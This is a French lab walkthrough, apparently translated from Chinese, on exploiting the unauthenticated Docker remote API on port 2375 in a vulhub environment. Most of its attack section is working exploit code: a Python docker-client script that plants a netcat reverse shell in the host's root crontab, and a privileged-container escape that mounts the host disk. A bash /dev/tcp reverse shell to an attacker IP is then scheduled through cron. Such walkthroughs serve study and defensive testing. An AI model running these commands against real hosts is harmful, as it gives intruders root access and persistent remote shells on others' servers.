Vulnérabilité d'accès non autorisé à l'API Docker
1. Introduction à la vulnérabilité
Dans le document de déploiement Docker, en raison de l'existence de certains exemples de configuration non sécurisés par défaut, le port de gestion 2375 est exposé au monde extérieur. Cette vulnérabilité d'accès non autorisé est due au fait que l'API Docker peut exécuter des commandes Docker. Cette interface est destiné à remplacer Docker.Interface de commande pour faire fonctionner Docker via une URL.
2. Principe de la vulnérabilité
: Utiliser le port TCP ouvert 2375 sur le nœud Docker pour exécuter à distance les commandes Docker, obtenant ainsi les autorisations Root du serveur.
3. Construction de l'environnement de vulnérabilité
Ici, nous utilisons directement l'environnement vluhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d
4. Vérification de la vulnérabilité :
visitez http://votre-ip:2375/version ; si elle est accessible, cela prouve qu'il existe une vulnérabilité d'accès non autorisé.
5. Méthode d'utilisation
5.1 Méthode du premier shell de rebond
(1) Installer l'environnement docker sur la machine d'attaque
apt-get install docker docker-compose
service docker start
(2) Utilisez ensuite le script d'attaque, les détails sont les suivants :
import docker
client = docker.DockerClient(base_url='http://192.168.0.115:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.161 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={
'/etc': {
'bind': '/tmp/etc', 'mode': 'rw'}})
La signification du script ci-dessus est la suivante : utilisez Docker pour démarrer un conteneur à volonté et montez le répertoire /etc de l'hôte dans le conteneur, et vous pouvez lire et écrire des fichiers à volonté. Vous pouvez écrire des commandes dans le fichier de configuration crontab pour effectuer un shell de rebond
(3) Exécutez ensuite le script python sur Kali pour renvoyer le shell vers la machine attaquante. Après avoir exécuté le script, le shell de rebond est réussi !
Ici, nous rebondissons sur le shell de la machine Docker.
Remarque : ce script python peut renvoyer le shell pour les systèmes centos, mais pas pour les systèmes Ubuntu !
5.2 Deuxième méthode getshell
(1) Étant donné que Docker dispose d'une commande de connexion à distance et que le port 2375 est exposé et accessible sans autorisation, vous pouvez désormais vous connecter à Docker à distance sur la machine.
docker -H tcp://192.168.0.115:2375 ps #查看远程机器上的正在运行的docker镜像
docker -H tcp://192.168.0.115:2375 images
Après m'être connecté, j'ai découvert qu'il n'y avait pas de fichier image, alors allez sur le site officiel pour télécharger un fichier image alpin.
docker -H tcp://192.168.0.115:2375 pull alpine
Ensuite, démarrez le conteneur et entrez dans le conteneur alpin
docker -H tcp://192.168.0.115:2375 images
docker -H tcp://192.168.0.115:2375 run -it --privileged alpine bin/sh
Démarrez un shell interactif dans Kali et c'est une image privilégiée. Lorsque l'opérateur exécute docker run --privileged, Docker permettra au conteneur d'accéder à tous les appareils sur l'hôte et modifiera la configuration d'AppArmor ou SELinux afin que le conteneur ait le même Les processus exécutés directement sur l'hôte ont presque les mêmes droits d'accès
Après être entré dans le conteneur, utilisez la commande fdisk -l pour afficher les fichiers disque
Remarque : En mode privilégié, il existe de nombreuses façons d'échapper, par exemple en montant directement le disque hôte à l'intérieur du conteneur, puis en changeant de répertoire racine.
Il peut être jugé à partir des informations de type renvoyées que /dev/sda1 est la partition principale, puis le disque hôte est directement monté à l'intérieur du conteneur.
新建一个目录:mkdir test
挂在磁盘到新建目录:mount dev/sda1 test
进入目录:cd test/
新建文件:touch test.txt 写入123测试:
Voyons ensuite que le fichier test.txt est bien créé sur la machine cible et que l'échappement du docker est réussi.
Ensuite, vous pouvez rebondir le shell hôte
pour créer le fichier test.sh et l'écrire dans le shell de rebond.
#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i >&/dev/tcp/192.168.0.161/6666 0>&1"
Ajoutez ensuite des autorisations d'exécution à test.sh et écrivez-les dans la tâche planifiée.
chmod +x test.sh
echo '*/1 * * * * /test.sh' >> /test/var/spool/cron/crontabs/root #每分钟执行一次test.sh文件
La machine attaquante ouvre le port d'écoute et revient avec succès au shell après un certain temps d'attente (remarque : la version du docker hôte est 18.09.9, sinon l'échappement ci-dessus ne sera pas valide)